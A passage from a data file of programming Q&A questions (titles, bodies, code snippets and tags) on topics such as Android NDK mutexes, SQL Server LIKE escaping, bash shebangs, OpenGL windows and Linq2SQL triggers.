correctly is paused waiting to acquire the lock. The problem is when 1584064 then
completes its work and tries to release the lock pthread_mutex_unlock returns an
error (1). \n\n09-21 13:55:27.098: WARN/native-activity(1333): Try to lock
mutex\n (2154220968) Line:3041 Thread:1584064\n09-21 13:55:27.098: WARN/native-
activity(1333): Success: Locked Mutex\n (2154220968) Line:3041 Thread:1584064\n09-
21 13:55:31.668: DEBUG/dalvikvm(352): GC_EXPLICIT freed 8K, 4% free\n 8606K/8963K,
paused 3ms+423ms\n09-21 13:55:31.898: WARN/native-activity(1333): Try to lock
mutex\n (2154220968) Line:3041 Thread:1597448\n09-21 13:55:32.198: WARN/native-
activity(1333): Error:1 Unlocking\n Mutex(2154220968) Line:3045 Thread:1584064\n\
nInitialization is a macro that looks like this:\n\nOne thread is the standard NDK
thread, the other one is my own timer thread initialized like this:\n\netc... error
handling\nIt doesn't seem to make any difference if I AttachCurrentThread to the vm
or not in my timers thread. It seems like mutexes are not working across threads
correctly. THanks in advance for any help you can provide.\n", "#define
InitializeCriticalSection(p, X) \\\n{ \\\nLOGW(\"Initialize Mutex(%u)\", p); \\\n*p
= PTHREAD_MUTEX_INITIALIZER; \\\npthread_mutexattr_t attr; \\\
npthread_mutexattr_init(&attr); \\\npthread_mutexattr_settype(&attr,
PTHREAD_MUTEX_NORMAL); \\\nint ii_p = pthread_mutex_init((pthread_mutex_t *)p,
&attr); \\\npthread_mutexattr_destroy(&attr); \\\nLOGW(\"Initialize Mutex(%u)
Returned %d\", (pthread_mutex_t *)p, ii_p); \\\n}\n", "android multithreading mutex
android-ndk"], "4171663": ["How to create PDF file using iText or some other
library on android?", "How to create PDF file using iText or some other library on
android?\nIs there any tutorial on iText for android?\nThanks\n", "", "android pdf
pdf-generation itext pdflib"], "5054372": ["Custom SOAP 1.1 header and
mustUnderstand attribute", "My WebService (compilant with SOAP 1.1 specification)
uses its own type of header MyHeader defined within the xsd as follows:\n\
nUnfortunately SAOP message generated \"by AXIS 1.4 framework\" has MyHeader
element containing mustUnderstand=\"0\" attribute:\n\nAccording to specification
SOAP mustUnderstand can be added to each header. However, it seems to me that the
so-defined elements MyHeader can not contain this attribute, because the resulting
XML is incompatible with the XML specification - it does not valide against XML
rules of cvc-complex-type.\nIs it allowed to add mustUnderstand attribute to this
header instance?\nDoes AXIS framework 1.4 works properly?\n", "<xs:complexType
name=\"MyHeader\">\n <xs:sequence>\n <xs:element name=\"MyElement1\"
type=\"xs:string\"></xs:element>\n <xs:element name=\"MyElement2\"
type=\"xs:string\"></xs:element>\n </xs:sequence>\n</xs:complexType>\n", "xml
web-services soap xsd axis"], "4002146": ["How to test maven version-ranges?",
"What's the best way to test the validity of version-ranges in maven builds? For
example, let's say I have a module that depends on slf4j versions [1.5.0,1.7.0). I
think that the only way to be confident that the range is correct is to build and
test against various versions in that range. Is there a way to get maven to attempt
to build the module using the earliest and latest version in the range? How about
multiple versions? How about ranges for multiple libraries?\n", "", "maven build-
automation versioning dependency-management version-range"], "5898552": ["How to
set the position of signature in reply in Outlook 2010?", "I prefer to place the
quotes of the email I reply to between my reply and my signature. But I can't find
any related (working) property in the settings dialog from Outlook 2010.\nHow do I
set the position of the signature? What about the signature delimiter? Is there a
way to get Outlook to recognize that? My signature have to be at the very end.\n\
nHi Patrick,\nyes you can!\n\nHi John.\nCan I?\n\n-- \nJohn Doe\n\nCurrently
Outlook is doing this:\n\nHi Patrick,\nyes you can!\n-- \nJohn Doe\n\nHi John.\nCan
I?\n\n\n", "", "email outlook microsoft-office outlook-2010 configuration"],
"5218268": ["Why Camera.setParameters(Camera.Parameters) does not work on Sony-
Ericsson X10 and Droid?", "Has anyone come across a strange behaviour with the
Camera API when used on Sony-Ericsson X10 or Droid?\nFor example the following code
doesn't work on those devices. As a result I'm getting a lot of negative feedback
on the Market translating into many cancelled orders...\n\nCould you suggest an
alternative way of achieving the same? Thanks.\n", "mParameters.set(\"rotation\",
orientation);\nmParameters.set(\"jpeg-quality\", img_quality);\
nmParameters.set(\"picture-size\", \"1024x768\");\
nmCamera.setParameters(mParameters);\n", "android camera"], "3530099": ["Load
different xib files on Orientation in iOS", "I have created two file one for
portrait mode and other for landscape mode,\non each rotation i want to load
respective file, \nHere is my code snippet,\nViewAppDelegate.m class\n\
nViewController.m class\n\nAfter writing this much of code my app shows nothing..
it shows only black screen.\nplease suggest some solution.\n", ".xib", "iphone ios
ipad orientation xib"], "4443825": ["Is it possible to upgrade 32-bit Windows 8 to
64-bit?", "\nPossible Duplicate:\nIs the windows 8 upgrade 32 bit or 64bit \n\
nCurrently I installed Windows 8 Pro 32-bit. Is it possible to upgrade Windows 8
32-bit to 64-bit one? During installation I don't see any option to choose between
32-bit and 64-bit.\n", "", "windows-8"], "3306786": ["How to download a file on a
server you've already ssh'ed into?", "I know how to use scp or wget to download a
file on a remote server to my local machine. However, if I'm already logged into a
server with ssh, is there a command that lets me download a file in the pwd on the
server onto my local machine?\nI suppose I can use scp, but my local machine is
usually behind a router. Would I have to open a port in the router?\n", "", "linux
ssh ssh-tunnel scp"], "625795": ["bash myscript.sh runs in bash, but the first line
is #!/usr/bin/sh", "I have a script similar following one:\n\nAbove code does not
work in Solaris Sparc and Solaris X64. It is showing undefined. \nAbove code works
fine If I replace with . \nStrange thing is If I ran above code without any change
by following method it is working.\n\nAccording to my understanding the script
should not work even with bash, as at the top of the script I am using which does
not support the as the comparison operator.\nCan anyone please explain why it
does work when I am running the script as mentioned above. \nNote: I am aware of
that bash does recognize and . \n", "#!/usr/bin/sh\n\nvar=\"ABC\"\nif [ $var
== \"ABC\" ]\nthen\n echo True\nelse\n echo False\nfi\n", "bash shell shell-
script solaris"], "5152467": ["How to escape a string for use with the LIKE
operator in SQL Server?", "I am looking for something that works in SQL Server
similar to the symbol in c# which causes a string to be taken as it's literal.
Eg:\n\nNote how the @ affected the string to take every character as is.\nNow I am
not sure this is possible but here is my issue and maybe there is a better way to
solve this. Consider the following basic query:\n\nMy
issue is if they put a , or any other of those special characters that can affect
my like clause. I want the match to act just like a 'starts with' function. So is
there anything I can apply to the @searchText to say take this literally or is
there possbibly a better solution that I am not thinking of?\nEdit: I do not want
the solution to be client side cleaning. I need this stored proc to work without
relying on the data being passed in being cleaned.\n", "@", "sql sql-server tsql
pattern-matching"], "4429651": ["Problem with RevoluteJoint Box2d", "i have a
problem with revolutejoint. When i make a line with litlle boxes and revoluteJoint
i noticed a strange behavior of my first box. it separates from rest of the boxes.\
nYou can see it here:\nYoutube\nYou can compile it, and you'll see what im talking
about\u2026\nHelloWorldScene.h\n\nHelloWorldScene.mm\n\nAny idea? Thanks in
advance\n", "// When you import this file, you import all the cocos2d classes\
n#import \"cocos2d.h\"\n#import \"Box2D.h\"\n#import \"GLES-Render.h\"\n\n//
HelloWorld Layer\n@interface HelloWorld : CCLayer\n{\n b2World* world;\n
GLESDebugDraw *m_debugDraw;\n}\n\n// returns a Scene that contains the HelloWorld
as the only child\n+(id) scene;\n-(void) Test;\n\n@end\n", "cocos2d-iphone physics
box2d"], "5007301": ["Java Program Organization: How can I get rid of this massive
case statement?", "I am creating a program that will fill in a given grammar.
Right now I am modeling the \"kinds of words\" like this:\n\nThis is pretty much
the most ugly code that I can imagine. I know I can make it a bit better by using
a case statement however that is still friggin ugly. Here is my question: \nHow
can I make it beautiful? I was thinking about making:\n\nclass WordDescriptor,
with subclasses:\n\nclass noun, with subclasses:\n\nsingular\nplural\n\nclass
verb \nclass adverb\n\n\nBut I am not sure if this seems like a great idea either.
How can I this out better? \n\nEdit: If I did take the second approach I am not
even sure what the classes would look like. Here is an example: \n\n", "public
class WordDescriptor {\n\n public static final String noun = \"N\";\n public
static final String plural = \"p\";\n public static final String nounPhrase
= \"h\";\n public static final String usuParticipleVerb = \"V\";\n public
static final String transitiveVerb = \"t\";\n public static final String
intransitiveVerb = \"i\";\n public static final String adjective = \"A\";\n
public static final String adverb = \"v\";\n public static final String
conjunction = \"C\";\n public static final String preposition = \"P\";\n
public static final String interjection = \"!\";\n public static final String
pronoun = \"r\";\n public static final String definiteArticle = \"D\";\n
public static final String indefiniteArticle = \"I\";\n public static final
String nominative = \"o\";\n public static final String defaultTag = \"?\";\n\n
private String word; // where word is one of the constants defined above. \n\n
public String getWord(){\n return word;\n }\n\n public String
setWord(){\n return word;\n }\n\n /** For debugging only. \n * \n
* @param s\n * @return\n */\n protected static String getKind(String s)
{\n if(s.equals(noun)){\n return \"noun\";\n }else
if(s.equals(plural)){\n return \"plural\";\n }else
if(s.equals(nounPhrase)){\n return \"nounPhrase\";\n }else
if(s.equals(usuParticipleVerb)){\n return \"usuParticipleVerb\";\n
}else if(s.equals(transitiveVerb)){\n return \"transitiveVerb\";\n
}else if(s.equals(intransitiveVerb)){\n return \"intransitiveVerb\";\n
}else if(s.equals(adjective)){\n return \"adjective\";\n }else
if(s.equals(adverb)){\n return \"adverb\";\n }else
if(s.equals(conjunction)){\n return \"conjunction\";\n }else
if(s.equals(preposition)){\n return \"preposition\";\n }else
if(s.equals(interjection)){\n return \"interjection\";\n }else
if(s.equals(pronoun)){\n return \"pronoun\";\n }else
if(s.equals(definiteArticle)){\n return \"definiteArticle\";\
n }else if(s.equals(indefiniteArticle)){\n
return \"indefiniteArticle\";\n }else if(s.equals(nominative)){\n
return \"nominative\";\n } else if(s.equals(defaultTag)){\n
return \"defaultTag\";\n }else{\n return \"other: \"+s;\
n }\n }\n\n}\n", "java architecture oop switch-statement"], "1207092":
["Converting grayscale shades into alpha channel", "I have a gray-scale image. I
need to convert gray-scale tones to transparency data in alpha channel using Adobe
Photoshop. Say if the area is black, then no transparency. The white areas will be
converted to full transparent pixels in alpha channel.\nHow to do it?\nUpdate:\
nThis is sample file, which I made by Fireworks. This sample is a result which I
would like to achieve in Photoshop. \n\nIf you open this PNG in Photoshop, you will
see what I mean.\n", "", "adobe-photoshop"], "45747": ["CSS Floating Bug in Google
Chrome", "I'm experiencing a weird issue in the latest version of Chrome
(25.0.1364.97 m). I have a set of divs inside a floated, cleared container, all
floated left with the same width.\nIn Firefox, IE, and older versions of Chrome all
the boxes sit side by side as they are supposed to but in the latest version of
Chrome the first div is above the others like so:\n\nIt only seems to happen when
the window is maximised and on the first load, if I refresh the page it sorts
itself out, but if i do a hard refresh with Ctrl + F5 it happens again\nThe HTML:\
n\nCSS:\n\nI've made a fiddle here: http://jsfiddle.net/GZHWR/3/\nIs this a bug in
the latest Chrome?\nEDIT: I know this can be solved by applying padding to the
#wrapper element instead of margin-top but we manage around 140 sites so it's not
practical to go and change the CSS on every one\nEDIT 2: I think I need to clarify
my question. I am not asking how to fix the issue. I already know that. I want to
know why this behaviour is occuring? Why is the rendering engine rendering the
markup/css like this? Is it correct behaviour? \nPlease don't waste your time or
mine with an answer about removing the clear or some kind of CSS hack to fix it\n",
"<div id=\"top\">\n <h1>Words</h1>\n</div>\n<div id=\"wrapper\">\n <div
class=\"box\">Words</div>\n <div class=\"box\">Words</div>\n <div
class=\"box\">Words</div>\n <div class=\"box\">Words</div>\n</div>\n", "css
google-chrome css-float"], "4850437": ["How to prevent a function from being
overridden in python", "Is there a way to make a class function unoverriddable?
something like java's keyword. i.e, any overriding class cannot override that
method.\n", "final", "python override final"], "6008254": ["Groovy parsing text
file", "I have a file log that I would like to parse and am having some issues. At
first it seemed it would be simple. I'll go ahead and post the source I have come
up with and then explain what I am trying to do.\nThe file I'm trying to parse
contains this data:\n\nMy source code (below) basically breaks up the file line by
line and then splits the line into two (key:value). \nSource: \n\nThe problem with
my source is that when I use my getters (such as $dataList.Performance) it only
shows the last one in the file rather than two.\nSo I'm wondering, how do I parse
the file so that it keeps the information for both hard drives? Is there a way to
pack the info into a 'hard drive object'?\nAny and all help is appreciated\nA few
side notes:\nThe file is on a windows machine (even though the info is grabbed from
a nix system)\nThe text file is split by a tab, colon, and space (like shown in my
source code) just thought I would state that because it doesn't look like that on
this page.\n", "HDD Device 0 : /dev/sda\nHDD Model ID : ST3160815A\nHDD Serial
No : 5RA020QY\nHDD Revision : 3.AAA\nHDD Size : 152628 MB\nInterface :
IDE/ATA\nTemperature : 33 C\nHealth : 100%\nPerformance : 70%\nPower on
Time : 27 days, 13 hours\nEst. Lifetime : more than 1000 days\n\nHDD Device 1 :
/dev/sdb\nHDD Model ID : TOSHIBA MK1237GSX\nHDD Serial No : 97LVF9MHS\nHDD
Revision : DL130M\nHDD Size : 114473 MB\nInterface : S-ATA\nTemperature :
30 C\nHealth : 100%\nPerformance : 100%\nPower on Time : 38 days, 11 hours\nEst.
Lifetime : more than 1000 days\n", "file text groovy parsing"], "5163960": ["First
time variable is stored it is Undefined, every other time it works? Uses Jquery,
Javascript, Ajax", "This is part of a function:\n\nI think that the problem is
here. If need be, I will post the entire thing.\nBasically, the first time that var
editid is stored, it is an undefined value. \nThe variable is send to a PHP page,
and I had it echo the result back on the page.\nWithout fail, the first time that
it stores its value onclick is \"undefined\" and every other time it stores the
appropriate value. \nHere is the entire thing:\n\n", "var editid; \n$
(\"div.editable\").click(function(e) { \n if ($currentInput == null) \n
return; \n\n var css = GetCssProperties(); \n $(this).css(css);\n
editid = $(this).attr(\"id\");\n $currentInput = null;\n $
(\"label\").html(\"\");\n});\n", "javascript jquery ajax javascript-events"],
"3950730": ["PHPExcel PDF Layout", "So I am exporting an Excel file I created with
PHPExcel to PDF. My only problem is when the content runs over the width of the
page (not the length) that content disappears. Only a blank page is created where
that content should be. I've tried inserting a column break with a line like this
example from the documentation, but only row
breaks seem to work with PDF:\n\nIt's worth mentioning I'm working from within a
Symfony2 controller, hence the slash in front of the PHPExcel enum.\nMy ideal
solution is to have any extra content run over to a second page that can be placed
alongside the first page to show the entire table as it appears in a real Excel
document.\n", "$objPHPExcel->getActiveSheet()->setBreak( 'D10' , \\
PHPExcel_Worksheet::BREAK_COLUMN );\n", "php symfony symfony-2.0 phpexcel"],
"3109863": ["OpenGL Window Error", "I'm trying to create a simple OpenGL window in
C, but I'm having problems with the window itself. A window is created, and then it
suddenly disappears. I fixed this by zeroing \"msg\" but then the window still
tries to exit and all other messages aren't passed. So I can't exit by pressing
escape (WM_KEYDOWN isn't passed). Rendering the graphics works like it should. Does
anyone know what causes this, and how to fix it?\nentrypoint.c\n\nmain.c\n\nmain.h\
n\n", "#include \"main.h\"\n#include \"graphics.h\"\n\nint WINAPI WinMain(HINSTANCE
hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)\n{\n int
breedte, hoogte;\n DEVMODE dmScreenSettings;\n HWND hWnd;\n WNDCLASSEX
wcex;\n MSG msg;\n\n wcex.cbSize = sizeof(WNDCLASSEX);\n wcex.style =
CS_HREDRAW | CS_VREDRAW | CS_OWNDC;\n wcex.lpfnWndProc = Actie;\n
wcex.cbClsExtra = 0;\n wcex.cbWndExtra = 0;\n wcex.hInstance = hInstance;\n
wcex.hIcon = LoadIcon(NULL,IDI_APPLICATION);\n wcex.hCursor =
LoadCursor(NULL,IDC_ARROW);\n wcex.hbrBackground = (HBRUSH)
GetStockObject(GRAY_BRUSH);\n wcex.lpszMenuName = NULL;\n wcex.lpszClassName
= L\"WinClass\";\n wcex.hIconSm = NULL;\n breedte =
GetSystemMetrics(SM_CXSCREEN);\n hoogte = GetSystemMetrics(SM_CYSCREEN);\n
RegisterClassEx(&wcex);\n\n // Tijdelijk \"nep\" venster maken\n hWnd =
CreateWindowEx(WS_EX_APPWINDOW, L\"WinClass\", L\"My Window\", WS_POPUP,\n
0, 0, 640, 480, NULL, NULL, hInstance, NULL);\n if(hWnd == NULL) {\n
MessageBox(NULL, L\"Error: er kon geen venster worden gemaakt.\", L\"ERROR\",
MB_OK);\n return -1;\n }\n\n if (InitializeExtensions(hWnd) != 0) {\n
MessageBox(NULL, L\"Error: OpenGL extensies konden niet worden geladen.\",
L\"ERROR\", MB_OK);\n return -1;\n }\n\n // Tijdelijk venster
verwijderen\n DestroyWindow(hWnd);\n\n if (FULLSCREEN == 1) {\n
memset(&dmScreenSettings, 0, sizeof(dmScreenSettings));\n
dmScreenSettings.dmSize = sizeof(dmScreenSettings);\n
dmScreenSettings.dmPelsWidth = (unsigned long)breedte;\n
dmScreenSettings.dmPelsHeight = (unsigned long)hoogte;\n
dmScreenSettings.dmBitsPerPel = 32; \n dmScreenSettings.dmFields
= DM_BITSPERPEL | DM_PELSWIDTH | DM_PELSHEIGHT;\n
ChangeDisplaySettings(&dmScreenSettings, CDS_FULLSCREEN);\n hWnd =
CreateWindowEx(WS_EX_APPWINDOW, L\"WinClass\", L\"My Window\", WS_POPUP, \n
0, 0, breedte, hoogte, NULL, NULL, hInstance, NULL);\n }\n else {\n
hWnd = CreateWindowEx(WS_EX_APPWINDOW, L\"WinClass\", L\"My Window\", WS_POPUP, \n
(breedte / 4), (hoogte / 4), (breedte / 2), (hoogte / 2), NULL, NULL, hInstance,
NULL);\n breedte /= 2;\n hoogte /= 2;\n }\n\n if(hWnd == NULL)
{\n MessageBox(NULL, L\"Error: er kon geen venster worden gemaakt.\",
L\"ERROR\", MB_OK);\n return -1;\n }\n\n if (InitializeOpenGL(hWnd,
breedte, hoogte, SCREEN_DEPTH, SCREEN_NEAR, VSYNC) != 0) {\n
MessageBox(NULL, L\"Error: OpenGL kon niet worden ge\u00efnitialiseerd\",
L\"ERROR\", MB_OK);\n return -1;\n }\n\n // Scherm laten zien\n
ShowWindow(hWnd, SW_SHOW);\n UpdateWindow(hWnd);\n
SetForegroundWindow(hWnd);\n SetFocus(hWnd);\n\n main_loop(&msg, hWnd);\n
return msg.wParam;\n}\n", "c windows window opengl-4"], "2905108": ["Google Map
MapView using intent button for GeoCoding - not leading to the correct place", "I
have set up a MapView Class which has Overlays (and they're working fine.)\nMy
application is built around tabs and on my first tab, this is my code:\n\n} \
nNow by clicking on those buttons, it successfully leads me onto the Map class and
my overlays are displayed perfectly well, in the correct position, but it doesn't
point me to that those exact latitude and longitude positions, therefore, not
directly onto the overlays.\nDoes anyone know why?\nHere's my MapClass:\n\npublic
class Map extends MapActivity {\n\n\n}\n", " public void onCreate(Bundle
savedInstanceState) {\n Button ButtonName1;\n Button ButtonName2;\n\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.layout);\n\n
{\n ButtonName1 = (Button) findViewById(R.id.ButtonName1);\n
ButtonName1.setOnClickListener(new OnClickListener() {\n public void
onClick(View arg0) {\n Intent i = new Intent(Intent.ACTION_VIEW,
Uri.parse(\"geo:51.594748,-0.107879\"));\n
i.setClassName(\"my.android.project\", \"my.android.project.Map\"); // .Map is my
MapView file\n startActivity(i);\n }\n });\n }\n
{\n ButtonName2 = (Button) findViewById(R.id.ButtonName2);\n
ButtonName2_Cinema.setOnClickListener(new OnClickListener() {\n public
void onClick(View arg1) {\n Intent ii = new
Intent(Intent.ACTION_VIEW, Uri.parse(\"51.55748,0.07388\"));\n
ii.setClassName(\"my.android.project\", \"my.android.project.Map\");\n
startActivity(ii);\n }\n });\n }\n }\n",
"android android-mapview geocoding android-maps"], "3253139": ["Exchange 2007
storage configuration for 50 users", "What kind of storage configuration would you
recommend for a small Exchange server deployment supporting about 50 users?
Probably won't grow past 75 users in 3 years. Majority will be \"medium\" users,
with a few \"heavy\" users and BlackBerry clients.\nSo far, everything that I've
read suggests keeping the Exchange database and the transaction logs on separate
physical drives, and keeping both of those off of the system drive. It also says to
put the transaction logs on something fast, like a Raid 1+0 array. Considering that
all the data needs to be protected, it looks like this would be an optimal setup:\
nSystem drive - 2 small drives in RAID 1\nExchange database - 2 big drives in RAID
1\nTransaction logs - 4 fast drives in RAID 1+0\nHowever, using 8 drives for a tiny
Exchange server seems like incredible overkill. Where would it be safe to cut
back?\n", "", "raid exchange-2007 storage"], "4425238": ["Flash Lite 1.1 substring
question", "Could you tell me why both lines print out ?\n\n\n(this prints out :\
n)\nDoes in Flash Lite 1.x the index start with 1?\n", "a", "flash string
flashlite"], "4419459": ["Capture devices - Mono c#", "I'm looking for a way to
list all capture devices (audio and video) with Mono under Linux: microphones,
webcam, etc... but I couldn't find anything. Under windows, it's easy doing this
with DirectShow, but couldn't find anything like this under Linux.\nOf course I
could list those devices with a system command line, and parse the string, but
before doing this I wanted confirmation that nothing like this exists for Mono.\
nThks for your attention.\n", "", "c# mono capture devices"], "369329": ["What is
the relative behaviour when a center circle surrounded by 6 circles is
(recursively) replaced by 6 circles", "Start with a given \"inner\" circle of
arbitrary radius (blue) centered at C. Surround it by 6 circles of equal radius.
This concerns to known issues of circle packing and is a frequently treated
interesting topic (s.a. here).\nReplace the inner circle with six circles of equal
radius, that fit accordingly into the inner circle, i.e.: Change from blue to red
constellation.\nBy which constant factor do the red circles relatively
grow/shrink?\nIs this a simple task? I'm stuck on finding a general answer.\nFor
clarification I would like to show a geometrical representation I did with
GeoGebra:\n\nHope I didn't do something in bad style, please let me know, since
this is my first appearance on the stack. \n", "", "circle packing-problem"],
"1463777": ["data structures: iterating over two arrays vs converting to sets and
performing intersect operation in ruby", "Lets say I have and :\n\nTo see if
shares any elements with , I can loop over each and compare each element:\n\nBut
even easier, gives me the same answer.\nI'm assuming that the set operation is
quicker and more efficient? If this is true, is it still true taking into account
to overhead (if any) of the operation on each array?\ntia\n", "a1", "ruby arrays
set"], "357489": ["Get the email of my friends using Graph API", "Is there any
possible way from which i can access my friends email using php-sdk? Assuming that
I am logged in is it possible to see the same info through a php script .What i
want to do is send a gmail invite to all my friends on facebook using
graph.facebook.com/$id/\nit asks for a access token please help me with it .\n",
"", "php facebook facebook-graph-api facebook-php-sdk"], "4912353": ["What is a
quick way to report login/logout times on Windows 2003?", "I have about a dozen
servers, and I am looking to quickly find out all of the login/logout times, for a
subset of users, for all servers, during January.\nIs there a quick, easy way to
get this information (faster and easier than manually combing through the security
logs)?\nI would rather not replicate any work - are there any publicly posted tools
or scripts that already implement a solution to this problem?\n", "", "windows-
server-2003 security log-files"], "4935911": ["Nested NSArray for loop won't loop
in nested fashion", "I've been learning Objective-C for five days and I have only
2 weeks of prior programming experience so please make answers as simple as
possible.\nI'm doing an exercise in a book that asks me to generate a list of
proper names that are also regular words. To do this I have am running a for loop
for each proper name from a proper name object. Within that for loop I have a
nested for loop testing each name against each word in an regular word object
using the method.\nHere is my code:\n\nInstead of the for loops running in a
nested fashion they are running in a sequential fashion. The output is like this:\
n\nAny ideas for why the nested for loop is not running in a nested fashion?\n",
"NSArray", "objective-c for-loop nsarray"], "700809": ["Passing PHP Variable to
Javascript Function (Specific code error)", "So I've searched around a ton and
figured out how to pass a PHP variable to a Javascript function, but when I
impliment it in my code, rather than getting the variable in the alert(); window I
get and Hopefully it's something small that I'm overlooking, but I have no idea
why this isn't functioning as I copied it line for line from a response on a forum
and the user stated that it works, and I had a friend who stated that it worked,
but when I ran the code on it's own (Second [code][/code]) it returns the same
error. \n\nStand alone code that results in the same display\n\nThank you guys!!!\
n", "<?php echo $a ?>", "php javascript html function"], "5131066": ["Two XML
documents xpath xslt mapping", "Been trying for hours getting this to work but I
must be missing something.\nI want to map two XML documents together by an id in
both documents.\nI can get data output from both documents using one XSLT but I
don't know how to map them.\nfirst xml:\n\nsecond xml: (ss namespace)\n\nI loop
through name and id elements in the XSLT file and inside this loop I'm trying to
get the value to map to the id in the second xml using apply templates. \nThe final
HTML output should look something like:\n\n", "...\n<member>\n <id>1</id>\n
<name>John</name>\n</member>\n<member>\n <id>2</id>\n
<name>Otto</name>\n</member>\n...\n", "xml xslt xpath"], "4409558": ["\"Member
AutoSync Failure\" using TPT, view and instead of insert trigger", "Trying to use
Linq2SQL with class inheritance using TPT pattern like this
http://blogs.msdn.com/sbajaj/archive/2008/04/02/tpt-with-linq-to-sql.aspx\nSample
application works fine. Here is my code:\nTables and views:\n\u00a0\nCREATE TABLE
[dbo].[social_event](\n [Id] [int] IDENTITY(1,1) NOT NULL PRIMARY KEY,\n
[Creator] [uniqueidentifier] NOT NULL FOREIGN KEY REFERENCES [dbo].[aspnet_Users]
(UserId),\n [EventDate] [datetime] NOT NULL)\nGO\n\nCREATE TABLE [dbo].
[social_addfriendevent](\n [ID] [int] NOT NULL PRIMARY KEY FOREIGN KEY
REFERENCES [dbo].[social_event](Id),\n [Friend] [uniqueidentifier] NOT NULL
FOREIGN KEY REFERENCES [dbo].[aspnet_Users](UserId),\n [Added] [bit] NOT NULL
DEFAULT((0)))\nGO\n\nCREATE VIEW [dbo].[event]\nAS\nSELECT t0.Id, t0.Creator,
t0.EventDate, t1.Friend, t1.Added, 'AddFriendEvent' AS EventType\nFROM
dbo.social_event AS t0 INNER JOIN\n dbo.social_addfriendevent AS t1 ON t0.Id =
t1.Id\nGO\n\n\u00a0\n\u00a0My \"Instead of insert\" trigger:\n\u00a0\nCREATE
TRIGGER [dbo].[trigger_update_event] ON [dbo].[event] INSTEAD OF INSERT\nAS\n
DECLARE @rc AS INT;\n SET @rc = @@ROWCOUNT;\n IF @rc = 0 RETURN;\n\n
DECLARE @Id AS INT\n DECLARE @EventType AS NVARCHAR(50)\n DECLARE @Creator AS
uniqueidentifier\n DECLARE @EventDate AS datetime\n DECLARE @Friend AS
uniqueidentifier\n DECLARE @Added AS bit \n\n IF @rc = 1\n BEGIN\n
SELECT @Id=Id,\n @EventType=EventType,\n @Creator=Creator,\n
@EventDate = getdate(),\n @Friend=Friend,\n
@Added=Added\n FROM INSERTED\n\n INSERT INTO dbo.social_event
VALUES(@Creator, @EventDate)\n SELECT @Id = SCOPE_IDENTITY()\n
IF @EventType = 'AddFriendEvent'\n INSERT INTO
dbo.social_addfriendevent VALUES(@Id, @Friend, @Added) \
n END\n ELSE\n BEGIN\n DECLARE cursor_inserted CURSOR
FAST_FORWARD FOR\n SELECT EventType,\n Creator,\
n EventDate,\n Friend,\n
Added\n FROM INSERTED\n OPEN cursor_inserted;\n\n
FETCH NEXT FROM cursor_inserted INTO @EventType,\n
@Creator,\n @EventDate,\n
@Friend,\n @Added;\n WHILE
@@FETCH_STATUS = 0\n BEGIN\n INSERT INTO dbo.social_event
VALUES(@Creator, @EventDate)\n SELECT @Id = SCOPE_IDENTITY()
\n IF @EventType = 'AddFriendEvent'\n INSERT INTO
dbo.social_addfriendevent VALUES(@Id, @Friend, @Added)\n END\n
CLOSE cursor_inserted;\n DEALLOCATE cursor_inserted;\n END\n\n\
u00a0\nMy data classes with mappings:\n\u00a0\n[InheritanceMapping(Code
= \"AddFriendEvent\", Type = typeof(AddFriendEvent), IsDefault = true)]\n
[Table(Name = \"dbo.event\")]\n public abstract class Event\n {\n private static
int s_id;\n\n public Event()\n {\n this.Id = --Event.s_id;\n }\n\n public
Event(string eventType)\n : this()\n {\n EventType = eventType;\n }\n\n
[Column(IsPrimaryKey = true)]\n public int Id;\n\n [Column(Name = \"Creator\")]\n
public Guid CreatorId;\n\n [Column(Name = \"EventDate\", DbType = \"datetime\")] \n
public DateTime Date;\n\n [Column(IsDiscriminator = true, Name = \"EventType\")]\n
public string EventType;\n }\n\n public class AddFriendEvent : Event\n {\n
[Column(Name = \"Added\", CanBeNull = false)]\n public bool Added;\n\n [Column(Name
= \"Friend\", CanBeNull = false)]\n public Guid Friend;\n\n public
AddFriendEvent()\n : base(\"AddFriendEvent\")\n {\n }\n }\n\n\u00a0\nWhen I try to
create new \"AddFriendEvent\" and save it to database like here:\n\u00a0\n\u00a0\
nDataContext dc = new DataContext(connectionString);\n Table<Event> allEvents =
dc.GetTable<Event>();\n AddFriendEvent ev = new AddFriendEvent()\n {\n Added
= true,\n CreatorId = Guid.Parse(\"379959D-58FE-4A57-BB02-559E3E855B8F\"),\n
Date = DateTime.Now,\n Friend = Guid.Parse(\"379959D-58FE-4A57-BB02-
559E3E855B8F\")\n };\n allEvents.InsertOnSubmit(ev);\n dc.SubmitChanges();\n\
n\u00a0\nI got\u00a0\"Member AutoSync Failure\". What's wrong?\n\n", "", ".net linq
linq-to-sql"], "1546141": ["Xcode plist files consistently forget type
designations", "I have numerous Plist files that contains dictionaries in a project
and I find that they reliably forget the data type of various entries and default
to NSString.\nFor example, I might have a PLIST containing a dictionary with
several keys set to a type of NSNumber, and after closing and reopening Xcode they
all get defaulted to NSString.\nIs this a known issue? Is there a way I can avoid
it? Changing the types of dozens of values every time I restart Xcode gets pretty
annoying.\n", "", "iphone objective-c xml xcode plist"], "625796": ["Scala pattern
matching variable binding", "Why can't I bind the variable in @-style when the
extractor return ? I.e. this one does not work:\n\nBut this one works!\n\nFrom the
other hand, if looks like this:\n\nThen the first example works, and the second
does not! Why is it this way?\n", "Option[<Type>]", "scala extractor"], "1524930":
["Facebook Like Box iframe remove vertical scroll from feed", "So i've added a like
box from facebook using the iframe code like this\n\nand even though in the iframe
style it says scrolling=\"no\" and overflow:hidden; the stream is still shown with
a vertical scroll. how can I remove this?\n", "<iframe
src=\"//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2F2.zoppoz.workers.dev%3A443%2Fhttp%2Fwww.facebook.com
%2Fplatform&amp;width=292&amp;height=558&amp;colorscheme=light&amp;show_faces=true&
amp;border_color&amp;stream=true&amp;header=false&amp;appId=239468196100552\"
scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden;
width:292px; height:558px;\" allowTransparency=\"true\"></iframe>\n", "css facebook
iframe like box"], "630327": ["window.open with French characters in the url", "I
use window.open to open a popup with French accented characters in the url.\nWhen a
new popup opens, I see the French characters properly displayed in the url.\nie.\
nhttp://example.com/alt_title=Thierry%20Fr\u00e9maux%3A%20Les%20confiden\nHowever,
when the request is processed by the Java web app and the get parameters are
parsed, the French accented characters all become corrupted inside the HttpRequest
object.\nCould you please tell me how to resolve this issue?\nThe Url is
constructed using javascript. The js actually extracts the values of the input tags
